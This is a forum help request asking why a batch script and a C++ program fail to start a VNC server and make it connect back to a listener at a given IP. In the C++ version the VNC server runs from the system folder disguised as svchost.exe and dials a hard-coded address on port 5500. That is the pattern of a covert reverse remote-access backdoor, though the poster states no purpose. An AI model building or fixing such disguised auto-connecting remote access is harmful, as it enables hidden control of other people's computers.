hello experts
I am trying to set up a VNC server to auto-run and auto-connect to an IP via a batch script
@echo off
%SYSTEMROOT%\vncserver.exe
-run
%SYSTEMROOT%\vncserver.exe
-connect MyIP::5500
I'm having a very strange problem. I have the listener set up to 5500 and it works fine
the problem is, once I run the batch script, all that happens is it runs vncserver.exe, it doesn't run -connect MyIP::5500
Upon executing the batch script a SECOND TIME, VNC reports back that there is already one instance running and you cannot run another. After you close the message, the listener connects to it
So for some reason, it needs VNC to be already running in order to work, despite the
"%SYSTEMROOT%\vncserver.ex
e -run" command
Also I tried to do it in C++ still with no luck:
#include "windows.h"
void install();
int main(int argc, char* argv[])
{
system("%SYSTEMROOT%\\svch
ost.exe -run");
Sleep(2000);
install();
return 0;
}
void install()
{
system("%SYSTEMROOT%\\svch
ost.exe -connect 67.83.58.177::5500");
}
What am I doing wrong?!
Start Free Trial